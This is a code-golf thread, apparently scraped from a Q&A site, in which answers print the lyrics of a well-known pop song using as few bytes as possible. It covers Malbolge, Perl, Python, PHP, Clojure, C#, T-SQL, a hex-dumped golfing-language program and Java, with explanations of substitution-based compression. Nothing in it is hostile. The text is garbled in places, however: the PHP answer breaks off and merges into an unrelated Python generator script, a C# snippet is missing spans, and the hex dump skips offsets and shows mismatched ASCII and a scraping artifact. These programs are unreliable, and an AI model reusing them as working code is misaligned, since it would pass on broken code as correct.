-&J*j\"!~D|{z@awv{zyr8pXn4rqjoh.-kjchgf_%cE[`Y}W?UZYRQuUTS54PImGLKJIHGF?cCB$#9]=6|:32V0/432+Op.'K+k#G'&feBzb~w=^]srqpo5srqpRQ.fejiha'edFEa`_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;y[qvotsrk1inmle+LKa'eGc\\[!_^@VUTxXQ9UNr54JnH0LKJIBAe?'CBA@9]~65:9870Tut,+0/(Lm+*)\"!&%${Aya}|{ts9ZYotmrk1Rnglkdihg`&d]\\a`_^]\\UTxX:Pt7MRKJIHlLE-IBAe(D=~6549270T432r0/.'KJ$#('~%|Bcb~w|u;yxwYXn4rqpohg-kjiba'eGc\\[!_^]\\[Z=a;:?8=6Z:3y76/St,+O/('&%$Hi!&}${Ab~}vut:rwpun4lTpi/Plkjchgf_^$ba`_A@\\[TxX:Pt7MRKJIHlL.JIBf)dDCBA#9]~65:9870T4-2+O/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,P*).-,%Ij('~}|B\"!~`|u;yxwvXWsl2ponmfN+LKgf_%cba`YX|\\[ZSRvVOTSLQPImMLKDhB*F?>CB;_?8=<5Y9y765.-,+O/('&J$j(!E%e{zy?}|^]yxq7XWsrkji/mfN+ihg`H^$b[Z_^W\\UySRQPtsSR43ImM/KJIBAeED=<;_\"!=<5Y9yx65.R210)o'&J*j('~}${A!~}_{t:9wpXtsl2poQg-NMiba`&dFEa`_X|\\[ZYR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#\"!E}|{\"y~w={]\\xqpo5srqjoh.-kjchgf_%cE[`Y}]\\U=YXWPt7MLKJImGLKDCHAed>=B;_\"!=<5Y9216543,P*)('&J*ji'~D${cy?}v{tyr8vutVrkji/mlkjihJI_%F\\aZ_^W{>=YXWPOsSRQP2NGLEDhBGF?c=B;_?>~}5Y9876v43,+O/o',+$)\"Fg%|{\"y?w|utyr8vXnm32poQ.lkdib(feGcba`Y}]?UTYRvPOTSRKo2NGFjD,HAeED&B;_?>~<;:3W165.-,P0)o'&J*ji!E}|{\"y?w|utyr8potsrk1ongOkd*hgfe^F\\\"C_^W\\UyYR:uOTMqQP2NGLEiIHGF?>CB;_?!~<;:981U/43,10/.-&J$j\"'~De#\"!~w={tyrwpun4rqpRh.Okdihgf_^$bDZ_^]VzTSRQVONMqQJOHlF.JIBf)d'CB;:?8\\<;492V0vS-s+*NonK+k)('~De{z!x>_uzyrq7Xtsrkpi/POedchg`&G]#aC_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxqYo5srTSihg-kMc)J`e^]#aCBXW{>=YXWPOsM5Ko2HMFKJIHAeE'=B;@?>7[;49870T4t2+*)M-,+*#\"!E}|{\"y~w={]\\xqpo5srqjoh.-kjchgf_%cE[`Y}W?UZYRQuUTS54PImGLKJIHGF?cCB$#9]=<|49870Tut21*)M'&%*)(!E%$#\"y?}|{zyxwpo5Vlqpih.fN+LKgf_%cba`YX|\\[ZSRvVOTSLQPImMF.JIBf)(DCB;_?!~6;:981U54-s+*NonK+k)('~De{z!x>_uzyrq7Xtsrkpi/POedchg`&G]#aC_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxqYo5srTSihg-kMc)J`e^]#aCBXW{>=YXWPOsM5Ko2HMFKJIHAeE'=B;@?>7[;49870T4t2+*)M-,+*#\"!E}|{\"y~w={]\\xqpo5srqjoh.-kjchgf_%cE[`Y}W?UZYRQuUTS54PImGLKJIHGF?cCB$#9]=<|49870Tut21*)M'&%*)(!E%$#\"y?}|{zyxwpo5Vlqpih.fN+LKgf_%cba`YX|\\[ZSRvVOTSLQPImMF.JIBf)(DCB;_?!~6;:981U54-s+*NM-ml*)(!E%${cy?`v{zyr8putsrkj0hgfejiba'eGc\\[!_^W{U=SwQ9UNr5QPIHMFjJ,BAe?'C<;@9]~<5Y3876/.3,Pqp(',+*#G'&feBzy~w={]yxwvo5mrqj0hmlejiba'eG]b[`Y}@VUySXWPUTMqQJ2NGkEJCHA@dDCB;_987<;:9810Tu3,10).'K+$j\"'~D|dz@~}_{t:xqpon4rqjRnmf,jchaf_%]Ea`_^]VzZYXQ9UNr54JnH0LKDhHGFEDCB;_?!~<;:981U/u3,+*N.-,%k)\"Fg%$#\"!x>v{tyrq7Xtmrk1oQPfejc)gfH%]baZ_^W{[TSwv9OTMLp3ONMLEDhBGFEDC<;_\"!7[|{9870T43,+Op.-&+$)\"F&f$#zy~w=^]sxqpo5srqpoQg-Njchafedc\\\"`_X]VzZYR:u87SLKJnNM/KDhBGF?>=aA@?!~6;:3W7wv.-2+O/o-&J$j\"'~D${c!x>|{tyxq76nsrkpi/gfkdiba'HGcb[!_^@VUTx;WPUTMqQPONM/EiCHG@dDCB;_987<;:9810T.-,10)M',%$)\"F&feB\"!a}|u;\\xqputm3qpRQ.fkdcbg`&dFEaZ~A@\\[TxXQ9UTMqQPINMFjJ,HG@d'=BA:?87[;:z8765.R210/o-&J$j\"'~D$dc!x>|uzyxqpo5Vlqping-kdchg`_%cE[`Y}]?>ZSRWVOsM5KoOHMFjJCHGF?cCB;@?87[;:z8765.R,1*/.-&%Ij('~}|Bc!x>_utsxqpo5mlk1onmfN+iKg`_^$E[!~^]\\U=SwQVOTMRQJImMLKD,HAe?DCBA@?>7[|{92V6/.3210)(Lm+*#G'&feBzy~w={ts9wvXnm3kSohglkjiha'e^]\\a`Y}@VUyYX:POTMqQJ2NMLKDhHA@dD=<`#\"8=<;:3W7654-Q10/('K+$)(!EfeBzb~wv{t:[wpon4Ukji/Plkjchgf_^$bDZ_^]VzZ=B;:9]~654X270T.-2+*/.-&J*j\"!~D${cy?}v{tyr8vuWsrqpi/mleMihgf_^]#aZ_XWVzyYXWP8NrRQ32NMLEDhHA)?cCB$@987[5{321U5u32+O)o'&J*ji'~D${c!x>_{tsrwvun43qpohgf,jihgfH%cba`_A@\\Uy<;QPONMqQP2HlL.JIBf)dD=BA@9>7[5{321U/.3,10/(LKl*)\"F&feBc!x>|^]yxq7utVlkj0/mfN+LKgf_%cba`YX|\\[ZSRvVOTSLQPImGLEDIBAe(D=7[;43W76v43,+O/(n,%I)('gfCd\"!xw|{zs9wvutm3qponmlkdcb(f_^$#[`_^]VzTYRv9OTMLpP21GkKD,BG@d>CBA:^>~6549270T.3,1*)ML,%k)\"F&feB\"!~w=^]s9wYXnml2ponmlkjiba'eGc\\[!_^@VUTxXQ9UNr54JnH0LKJIBAeEDCBA:^>=<54X8x6/S3,10/.-&J*j\"!~D|#zyx>v{zs9qvutsrk1Rngfkd*hJIedcb[!_A]\\UZSwvPUNSLp3INGFjJI+*F?cCB$#9]~}5:32V6v43,+O/o-,+*#G'~f|{\"y?}|{zsxq76tVrkji/mfN+ihg`H^$b[`Y}@VUTxX:Pt7SRQPOHGk.JCBGF?cC=<5:3W76v43,+Op.'&%Iji!&}$#z@a`|{zsxq7uWsrkj0QPlejchg`&d]\\a`_^]\\UTxX:Pt7MRKJIHlLE-IBAe(D=~6549270T432r0/.'KJ$#('~%|Bcb~w|u;y[qvotsrk1inmle+LKa'eGc\\[!_^@VUTxXQ9UNr54JnH0LKJIBAe?'CBA@9]~65:9870Tut,+0/(Lm+*)\"!&%${Aya}|{ts9ZYotmrk1Rnglkdihg`&d]\\a`_^]\\UTxX:Pt7MRKJIHlLE-IBAe(D=~6549270T432r0/.'KJ$#('~%|Bcb~w|u;yxwYXn4rqpohg-kjiba'eGc\\[!_^]\\[Z=a;:?8=6Z:3y76/St,+O/('&%$Hi!&}${Ab~}vut:rwpun4lTpi/Plkjchgf_^$ba`_A@\\[TxX:Pt7MRKJIHlL.JIBf)dDCBA#9]~65:9870T4-2+O/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,P*).-,%Ij('~}|B\"!~`|u;yxwvXWsl2ponmfN+LKgf_%cba`YX|\\[ZSRvVOTSLQPImMLKDhB*F?>CB;_?8=<5Y9y765.-,+O/('&J$j(!E%e{zy?}|^]yxq7XWsrkji/mfN+ihg`H^$b[Z_^W\\UySRQPtsSR43ImM/KJIBAeED=<;_\"!=<5Y9yx65.R210)o'&J*j('~}${A!~}_{t:9wpXtsl2poQg-NMiba`&dFEa`_X|\\[ZYR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#\"!E}|{\"y~w={]\\xqpo5srqjoh.-kjchgf_%cE[`Y}]\\U=YXWPt7MLKJImGLKDCHAed>=B;_\"!=<5Y9216543,P*)('&J*ji'~D${cy?}v{tyr8vutVrkji/mlkjihJI_%F\\aZ_^W{>=YXWPOsSRQP2NGLEDhBGF?c=B;_?>~}5Y9876v43,+O/o',+$)\"Fg%|{\"y?w|utyr8vXnm32johg-Njchgf_^$\\a`Y^]\\UTxX:Pt7MRKJIHlLE-IBAe(D=~6549270T432r0/.'KJ$#('~%|Bcb~w|u;yxqYo5srTSihg-kMc)J`e^]#DZ_^]VzTSRQVONMqQJOHlF.JIBf)d'CB;:?8\\<;492Vw5.-,+O/('&J$j(!E%e{zy?}|^]yxq7XWsrkji/mfN+ihg`H^$b[Z_^W\\UySRQPtsSR43ImM/KJIBAeE>&<`@9876Z4321U5432+*)M-,+*ji!E}|{\"y?w|utyr8potsrk1onmlkdiba'eGcba`Y}]?>ZYXQuOTSLpPIHMLEDCg*@?>=a$@9]=<;{z876/S3210/o-&J*j\"!~D|{z@awv{zyr8pXn4rqjoh.-kjchgf_%cE[`Y}]\\[ZSRWVOsS54JnNML.DhHA@EDCB;_\"!=<5Y3y165.-Q1*/.-&Jk#\"'~D|#z@x}vut:rwpun4rqjih.lkjihJI_%F\\aZ_^W{>=YXWPOs65KJOHlL.JIHG@dDCB$@?>=<5Y98x6543,P0)(-,%$#(!E%|#\"!x>_{tyr8vuWmrqji/mlejihgf_^]#a`BA]\\[TxR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#\"!E}|{\"y~w={]\\xqpo5srqjoh.-kjchgf_%cE[`Y}]\\>=SwWP8NrLKPOHGkKJ,HG@d'=BA:?87[|{98765.R210).'K+k#G'&feB\"!x}v{zs9wYXn4rTSoh.lNjibg`&G]#aC_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxq7utVrkji/Pledihg`&dcba`Y}W?UZYRQuONMLQJOHlkKJI+AeED=%;_?!~<5Y98x6543,P0/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,P0po'&%I)(!g%${Aya}|u;:rwpun4rqjih.fN+cha`_^$ba`BX|\\[ZYX:Pt7SRQPOHGkKJ,HAF?>bB$:?8=6Z:3y76/St,+O).',%$#G'~f$#\"!x>|{z\\xwp6tsrkpong-kjihgfH%cbDCYXW{>=YXQu8NMLpJINGLEJIBfe(>=a$@9]=<;{z876/S3210/o-&J*j\"!~D|{z@awv{zyr8pXn4rqjoh.-kjchgf_%cE[`Y}W?UZYRQuUTS54PImGLKJIHGF?cCB$#9]=6|:32V0/432+Op.'K+k#G'&feBzb~w=^]srqpo5srqpRQ.fejiha'edFEa`_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;y[qvotsrk1inmle+LKa'eGc\\[!_^@VUTxXQ9UNr54JnH0LKJIBAe?'CBA@9]~65:9870Tut,+0/(Lm+*)\"!&%${Aya}|{ts9ZYotmrk1Rnglkdihg`&d]\\a`_^]\\UTxX:Pt7MRKJIHlLE-IBAe(D=~6549270T432r0/.'KJ$#('~%|Bcb~w|u;yxwYXn4rqpohg-kjiba'eGc\\[!_^]\\[Z=a;:?8=6Z:3y76/St,+O/('&%$Hi!&}${Ab~}vut:rwpun4lTpi/Plkjchgf_^$ba`_A@\\[TxX:Pt7MRKJIHlL.JIBf)dDCBA#9]~65:9870T4-2+O/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,P*).-,%Ij('~}|B\"!~`|u;yxwvXWsl2ponmfN+LKgf_%cba`YX|\\[ZSRvVOTSLQPImMLKDhB*F?>CB;_?8=<5Y9y765.-,+O/('&J$j(!E%e{zy?}|^]yxq7XWsrkji/mfN+ihg`H^$b[Z_^W\\UySRQPtsSR43ImM/KJIBAeED=<;_\"!=<5Y9yx65.R210)o'&J*j('~}${A!~}_{t:9wpXtsl2poQg-NMiba`&dFEa`_X|\\[ZYR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#\"!E}|{\"y~w={]\\xqpo5srqjoh.-kjchgf_%cE[`Y}]\\U=YXWPt7MLKJImGLKDCHAed>=B;_\"!=<5Y9216543,P*)('&J*ji'~D${cy?}v{tyr8vutVrkji/mlkjihJI_%F\\aZ_^W{>=YXWPOsSRQP2NGLEDhBGF?c=B;_?>~}5Y9876v43,+O/o',+$)\"Fg%|{\"y?w|utyr8%\n```\n[Try it online.](http://www.matthias-ernst.eu/malbolge/debugger.html)\nGenerated using the tools [here.](http://zb3.github.io/malbolge-tools/#generator)\n[Answer]\n# Perl, ~~584~~ ~~578~~ ~~577~~ ~~576~~ ~~575~~ ~~571~~ ~~564~~ ~~554~~ ~~553~~ 540\nThis solution follows the same basic approach as most of the others: given an initial string, perform repeated substitutions of repeated portions of the text.\nThe substitution rules are specified by a single character, preferably one not occurring in the output text, so a rule of length L and occurring N times will save approximately N\\*L-N-L-1 (N\\*L is the original length of all occurrences, but the substitution character occurs N times, and the literal text itself has length L, and the rules are split by a separating character.) If the substitution characters are explicitly specified, then the savings is reduced to N\\*L-N-L-2. Given that most languages can compute a character with chr() or similarly short code, the first approach tends to be superior.\nThere are some drawbacks to computing the substitution character, the most significant being the need for a continuous range of ASCII characters. The output uses mostly lowercase letters, but there are enough uppercase letters and punctuation to require either replacing a character with itself, remapping a few characters in a fixup stage afterwards, or ordering the rules such that replacements with problematic characters occur earlier. Using a language that replaces using regexes also means that there are gotchas for characters that have special meaning within a regex: `.` `+` `*` `\\` `?`\nMy original approach had 63 bytes in the decoder and 521 in the rules. I spent a lot of time optimizing the rules, which can be tricky particularly with the short rules as they can overlap. I got the decoding down to 55 bytes and the rules down to 485 by cheating the formula a little bit. Normally, a 2-character rule that occurs 3 times or a 3-character rule that occurs twice would not actually save any length, but there is a loophole - which also allows for making up words that aren't part of the output ;-).\nI do make use of control characters in this solution, so the solution is provided here base64-encoded.\n```\ncz09AhpuCnRyYQ8QcxIHbG8OGRwVBHJ1bGVzDRRzB2QHSQFBE3VsbCBjb21taXQIbnQXcxFoYXQs\nFWluaxtvZhkRC2xkbhd0BWV0FWlzE3JvbQ1ueR8FdXkuJ0EUaWYYDXNrIAgtRG9uF3QgHiAIGBp0\nbwdibGkUdAoDKysBKSkoKCcuKys9OyRjPWNociQ9LS0sczpbJGNdOigiCldlZWVlICBnb3RvIG1l\nb3cHc291bmQgYXZlbmdlciB3IHQgZgwgEmhpDiciPX4vLj9cRC9nLHNwbGl0CjAsJyB5CzABWQsw\nF3IEMGkPIDAga24JMG5uYSAwdGVsbDAgBmgQMCAwFhggdXAwZQ5yBW8dMHQXcyBiA24gMGF5IGl0\nATABTiIwAShPb2gwAQECFw4cbiBlYWNoHxNvciBzB2xvDxlyIGhlYXIjYWNoG2J1dBkadG8KaHkS\nCiRJbnNpZGURBGIGaBwRaGEjZ28bb24BAhwVBGdhCA0Ud2UaZ28dcGwkMCYpJWcWLCBuImcWAShH\nISkwJiwFISkwbWFrZRggMAElZyElbGV0GCBkCW4lcnVuDXILFGEUZGVzEHQYJSpjcnklc2F5BW9v\nZGJ5ZSUeDSBsaWUNFGh1cnQYMCBJF20wIGgJLBMDbGkPATABSSBqdXN0EWEdHhgtRwZ0YSAqdQwQ\nc3RhDCsnKVskPV06ZWd3aGlsZSQ9O3ByaW50\n```\nAnd here it is as a slightly more readable (but less executable) version.\n```\ns==^B^Zn\ntra^O^Ps^R^Glo^N^Y^\\^U^Drules^M^Ts^Gd^GI^AA^Sull commit^Hnt^Ws^Qhat,^Uink^[of^Y^Q^Kldn^Wt^Eet^Uis^Srom^Mny^_^Euy.'A^Tif^X^Msk ^H-Don^Wt ^^ ^H^X^Zto^Gbli^Tt\n^C++^A))(('.++=;$c=chr$=--,s:[$c]:(\"\nWeeee goto meow^Gsound avenger w t f^L ^Rhi^N'\"=~/.?\\D/g,split\n0,' y^K0^AY^K0^Wr^D0i^O 0 kn^I0nna 0tell0 ^Fh^P0 0^V^X up0e^Nr^Eo^]0t^Ws b^Cn 0ay it^A0^AN\"0^A(Ooh0^A^A^B^W^N^\\n each^_^Sor s^Glo^O^Yr hear#ach^[but^Y^Zto\nhy^R\n$Inside^Q^Db^Fh^\\^Qha#go^[on^A^B^\\^U^Dga^H^M^Twe^Zgo^]pl$0&)%g^V, n\"g^V^A(G!)0&,^E!)0make^X 0^A%g!%let^X d^In%run^Mr^K^Ta^Tdes^Pt^X%*cry%say^Eoodbye%^^^M lie^M^Thurt^X0 I^Wm0 h^I,^S^Cli^O^A0^AI just^Qa^]^^^X-G^Fta *u^L^Psta^L+')[$=]:egwhile$=;print\n```\nHowever, I suspect this still isn't the minimum, as Ed H. points out that the php decoding is the shortest at 44 bytes and I have seen room for improvement in the rules he is using. I do have a 52-byte decoder in Perl but I was unable to use it for this solution as I needed to run through the range in reverse.\n[Answer]\n# Python 2.7, 975 803 bytes\nNot the greatest - I (now) wish python did formatting expansions like so. Alas it doesn't.\nEdit: Simulated expansion with alternate formatting syntax (sort of..)\n```\nprint(\"\"\"We're no strangers to love\nYou know the rules and so do I\nA full commitment's what I'm thinking of\nYou wouldn't get this from any other guy\n{10}{8}\n{11}\n%s\n{13}\nAnd if you ask me{8}\nDon't tell me you're too blind to see\n%s\n%s\n{0}, {2})\n{0}, {2})\n{0})\n{1}{12}\n{9}\n{0})\n{1}{12}\n{9}\n{13}\n{10}{8}\n{11}\n%s\n%s\n%s\"\"\"%tuple(['{1}{2}\\n{1}{3}\\n{1}{4}\\n{1}{5}\\n{1}{6}\\n{1}{7}']*6)).format(*\"(Ooh|Never gonna |give you up|let you down|run around and desert you|make you cry|say goodbye|tell a lie and hurt you\\n| how I'm feeling|(Give you up)|I just wanna tell you|Gotta make you understand|give, never gonna give|We've known each other for so long\\nYour heart's been aching but\\nYou're too shy to say it\\nInside we both know what's been going on\\nWe know the game and we're gonna play it\".split('|'))\n```\n[Answer]\n## PHP 730 707 characters\n```\nw>bothJ3haBgo= 0\nWeJ2>gam>aLwe'r>9pl7_KgPKletR downKrun6rqLaLdes1tRK:cryKsay goodbyeKt56 li>aLhurtR\n_e'r>nCstrang1sHClo;FJ2>rules6LsCdCI\nA full commitment's3hat I'm2ink= ofF3qldn't get2is from6ny best[0]:\n actual_gain = len(text) - len(text.replace(snippet,\"\")) - n - (m + 1)\n if actual_gain > best[0]:\n best=(actual_gain, snippet)\n done=False\n if not done:\n snippet = best[1]\n try:\n lastname = name\n name = names.pop()\n while name in 'ADGION':\n text = name + '_' + text\n name = names.pop()\n while name in '?@':\n text = '_' + text\n name = names.pop()\n except:\n sys.stderr.write('Warning: out of names.\\n')\n lastname = \"0\"\n break\n text = snippet + '_' + text.replace(snippet, name)\nsys.stdout.write('$_=\"')\nsys.stdout.write(name + text)\nsys.stdout.write('\";$i=' + str(ord(lastname)) + ';eval\"s/$1/$2/g\"while s/(.)(.*?)_/chr($i++)/se;print')\n```\n[Answer]\n# Clojure\n## 720 bytes / characters:\n(Reproduced here with extra whitespace so you can see the formatting)\n```\n(let [r{\\&\" and \"\\Y\"You\"\\0\"\\n\"\\1\" you\"\\2\" gonna\"\\3\"give\"\\5\" up\"\\6\"ever\"\\F\" how I'm feeling\"\\T\" to\"}\n s str \n n\"0N62 \"\n c(s n\"315\"n\"let1 down\"n\"run around&desert1\"n\"make1 cry\"n\"say goodbye\"n\"tell a lie&hurt10\")\n p\"0(Ooh, 315)\"\n g\"0(Give15)\"\n q(s n \"3, n62 3\")\n o\"0(Ooh)\"\n w(s \"0We've known each other for so long0Yr heart's been aching but0Y'reTo shyT say it0Inside we both know what's been going on0We know the game&we're2 play it0\")\n u(s \"I just wanna tell1F0Gotta make1 understand0\")\n v\"We're no strangersT love0Y know the rules&so do I0A full commitment's what I'm thinking of0Y wouldn't get this from any other guy0\"\n R(s v u c w\"And if1 ask meF0Don't tell me1'reTo blindT see0\"c c p p o q g o q g\\0 w\\0 u c c c)]\n (apply s(map #(r% %)R))) \n```\n[Answer]\n## Python, 573 chars\nMy `sed` solution won't go any further, and it was beaten by several people, so I went for a new approach. \nUnfortunately, it's only good enough for 2nd 3rd place (as of now) - [Ed H. is still much ahead of me](https://codegolf.stackexchange.com/a/6166/3544). \n```\nx=\"WM n=straQRsF=loB7Erules3s=d=IXA full commitSnt'sKhatVFhink;of7KTldn'tUetFhis fromLny9guy.-AC if?Lsk S1Don'tFP S?uCRstaC/|X4g24let? down4runLrTC3desRt?4>cry4sayUoodbye4tPL lie3hurt?|2)J)4giB, n5giBX(G| howV feeliQX|iB? up|LC |XN5|eBr:|t's been |XYT|J,U| othR |Uonna |iQ |MFo=|o |make? | yT|ay itX|A|ve|nd|D|HFhe | t|G| know|I|X(Ooh| w| a|'re|N|O|ell|ng|er|me|ou| g| I'm|We|\\n\".split(\"|\"):x=x.replace(chr(i),r);i+=1\nprint x\n```\n**Notes**: \n1. The main idea was borrowed from Ed H. - using consecutive characters for replacement, instead of specifying them in each replacement rule.\n2. My way to deal with characters which exist in the song is different from Ed's - I simply make sure to translate each to itself (and if it's always followed by something, add it as well, which only worked for `W`).\n3. The code is generated by a script that looks for good translations. At first, I used a greedy algorithm, which simply takes the one that gives the best reduction. Then I've found that tweaking it to prefer longer strings improves it a little. I guess it's still not optimal.\n[Answer]\n# C# - 605 characters | T-SQL - 795 characters | C# - 732 characters | C# - 659 characters\nThe inspiration for this came from the sed example. The only major change I made from that was making the lookups consecutive ASCII characters so they didn't have to be declared. Unfortunately, it is C#, so I don't know how to make it smaller. I took the same replace text and did the code in T-SQL using a temp table.\n```\nvar f='#';Debug.Print(\"HWe've0n each o=F forCo long5r hear+@ch>but5EonHWe0 =e;ame7weE8pl1|HI justBanna :4*Gotta 2u?Fsta?%|H/93up/let3down/run@rou?7desFt4/2cry/say;oodbye/:@ lie7hurt4|(Ooh)/9,nevF89H(G.|'|(|)| how6feelingH|t's been|, |(Ooh,g.|ive3up)H|HNevF8| know|ay itH|make3|4 | you|HYou| I'm |@? |;onna |give|tell| g| to|th|ing |nd| a|A| w| s|D|'re|er|G|\\n\"\n.Split('|').Aggregate(\"WeE noCtrangFs< love50 =e rules7so do IHA full commitment'sBhat6=ink>of5Bouldn't;et =is from@ny o=F;uy$H#A? if3ask me*Don't : me4Ex.Replace(f++.ToString(),t)));\n```\nT-SQL\n```\nCREATE TABLE #t(i int IDENTITY(35,1),t varchar(1000) COLLATE Latin1_General_CS_AS) \nDECLARE @s varchar(4000)\nSET @s = REPLACE(REPLACE('\nINSERT #t SELECT ''We\"ve0n each o=F forCo long5r hear+@ch>but5Eon\nWe0 =e;ame7weE8pl1|\nI justBanna :4*Gotta 2u?Fsta?%|\n/93up/let3down/run@rou?7desFt4/2cry/say;oodbye/:@ lie7hurt4|(Ooh)/9,nevF89\n(G.|\"|(|)| how6feeling\n|t\"s been|, |(Ooh,g.|ive3up)\n|\nNevF8| know|ay it\n|make3|4 | you|\nYou| I\"m |@? |;onna |give|tell| g| to|th|ing |nd| a|A| w| s|D|\"re|er|G'''\n,'\"',''''''),'|','''\nINSERT #t SELECT ''')\nEXEC(@s)\nSET @s = 'WeE noCtrangFs< love50 =e rules7so do I\nA full commitment''sBhat6=ink>of5Bouldn\"t;et =is from@ny o=F;uy$\n#A? if3ask me*Don\"t : me4E\"^]\\\\[ZVROB) y\"[i];){\nf-=k;\no=o.Replace(y--.ToString(),\"AWGINODY\\n,&'()e o tve a+ser,h wou gon{ean fmeH eeS)tCowaDr oti- y3nd $~P$#3'r*ingellQ1*t's2haGtoT%4ache-@V kn> }'mBC up$(!oh Ah0 g5na K b;n $$6'-QmakeC ay it$ h>R8;lH$nErun.r3D?des0=EYcryEsay4oodbyeEtI. li*?hur= eOUfo@s+l5gF@hearWO:butFM/hy,/Z}nsid*w*bAhQLWgo:5$6Jgam*?weGVplZ\".Substring(f,k));\nif(y==' '){y='~';i++;}}}}\nConsole.WriteLine(o);\n}\n```\n3rd try at C#. This time I expiremented with \\b,\\r,\\t characters. You can use \\rN\\n to replace the first character on the line with a capital N, but it didn't actually save characters. I created \\b aliases to move the cursor back and then write over existing text. But none of this saved space and in the end I was still worse off than a simple search-and-replace strategy.\n```\nstatic void Main()\n{\n var f='*';\n Console.Write(\"C04EC0let8downEC0run arouKJdes>t8EC06cryEC0say goodbyeEC0tePa lie Jhurt8E|CWe'veQn each=for sLlongC7r hear?stJC|(Ooh)C0:, 91:EC(4)R(GC|(Ooh, 4)C|91| gonna |how I'm feelF|QHhe |:8up|'re|make8|You| you |nev>|give|ay itC|been | oth> |er|t's |me|A|EC0|\\n|D|RN|ing |G| t|I|aK|nd |o |n't |N|O|ll | know|\\r\"\n .Split('|')\n .Aggregate(\n \"We5 nLstrang>sHLloveC73rules JsLdLICA fuPcommit@n?what I'mHhinkFofC7 wouldMgetHhis from any=guy-*C+AKif8ask @ 2CDoMteP@8\\b5HoLbliKtLseeC*C*CC//..+-*C*C*\",\n (x,t)=>x.Replace(f++.ToString(),t)));\n}\n```\n[Answer]\n# PHP, ~~591~~ ~~585~~ ~~568~~ 564 bytes\n```\nUheartDachAxbut>HshyEsG\\sidLwLboY=FDKAxX\nS:gamLB9CplGqS'rLq=QhLq\n oohqxoYRxqxkn_q\nJqmake@qxJxq\\gqNdxqgXnVq'^b`nxqQMqThatqayxit\nq'rLtoMqxz'mxqyouq\".join(q,str_split(goexoxanvendxterwexwrxaxmeonthtxstinulsxoweea,2))),\"9nM[rNgRsEloO>:r]e^BsMdMz\nVf]lxcommitWnt'sFIY\\kAxof>To]dn'ZgetxYi^fromxNy.\n0000090: d725 bd8b b93d 8854 ccfd a7d6 848e 00ff .%...=.T........\n00000a0: 0baa a3a8 cf45 ecee 71f1 9083 5c5c be61 .....E..q...\\\\.a\n00000b0: 2c89 dc53 fa32 8269 8bf7 1a1e 25bd c7cc ,..S.2.i....%...\n00000c0: 7649 5436 aa9e 406f ed30 356b 934a 5442 [[email protected]](/cdn-cgi/l/email-protection)\n00000d0: 3cf9 0951 5c27 9b98 44b0 0fcd fc10 239b <..Q\\'..D.....#.\n00000e0: 1428 7cce ac16 6bc7 f840 0bd3 0f21 224f .(|...k..@...!\"O\n00000f0: 2804 0b3f 8754 dd8c b5e3 32ff 763a 20a0 (..?.T....2.v: .\n0000100: 1c64 1b50 cd44 ca0f 12dc 0721 9984 3f06 .d.P.D.....!..?.\n0000110: 842d 6b21 0937 52fa f17e cc8e 977a 2ec1 .-k!.7R..~...z..\n0000120: 2f96 ea56 15d9 74a1 aa3c 58c7 4b4f ab41 /..V..t...~..$X..\n0000190: afe4 7017 df22 edb2 5a64 0681 239e 1f07 ..p..\"..Zd..#...\n00001a0: 3296 508c bcbd bbaa dc35 f821 0ab6 ec9a 2.P......5.!....\n00001b0: e484 c8d6 8456 51ab 1349 d056 8a7d d705 .....VQ..I.V.}..\n00001c0: 078f 0161 16ed da7b aa88 8fd6 8b16 8a27 ...a...{.......'\n00001d0: 3235 3662 6173 6520 3135 3362 6173 655b 256base 153base[\n00001e0: 305d 2f28 3330 2c7b 5c5b 3124 295d 2f5c 0]/(30,{\\[1$)]/\\\n00001f0: 3224 3d2a 7d2f 5c2c 297b 2d7d 2b25 2b 2$=*}/\\,){-}+%+\n```\nAs most of the best solutions, this uses a grammar-based approach with string splits and joins to expand the grammar. The grammar has 30 rules and was found by a greedy search.\n[Answer]\n# Java, 858 bytes\n```\ninterface a{static void main(String[]A){String b=\"I just wanna tell you how I'm feeling\\nGotta make you understand\\n\\n\",B=\"Never gonna give you up\\nNever gonna let you down\\nNever gonna run around and desert you\\nNever gonna make you cry\\nNever gonna say goodbye\\nNever gonna tell a lie and hurt you\\n\\n\",c=\"We've known each other for so long\\nYour heart's been aching but\\nYou're too shy to say it\\nInside we both know what's been going on\\nWe know the game and we're gonna play it\\n\",C=\"(Ooh, give you up)\\n\",d=\"(Ooh)\\nNever gonna give, never gonna give\\n(Give you up)\\n\";System.out.print(\"We're no strangers to love\\nYou know the rules and so do I\\nA full commitment's what I'm thinking of\\nYou wouldn't get this from any other guy\\n\"+b+B+c+\"And if you ask me how I'm feeling\\nDon't tell me you're too blind to see\\n\\n\"+B+B+C+C+d+d+\"\\n\"+c+\"\\n\"+b+B+B+B);}}\n```\nWow. I didn't really think I could compress this hard.\nUngolfed In a human-readable form:\n```\ninterface a {\n static void main(String[] A) {\n String b = \"I just wanna tell you how I'm feeling\\n\"+\n \"Gotta make you understand\\n\\n\";\n String B = \"Never gonna give you up\\n\"+\n \"Never gonna let you down\\n\"+\n \"Never gonna run around and desert you\\n\"+\n \"Never gonna make you cry\\n\"+\n \"Never gonna say 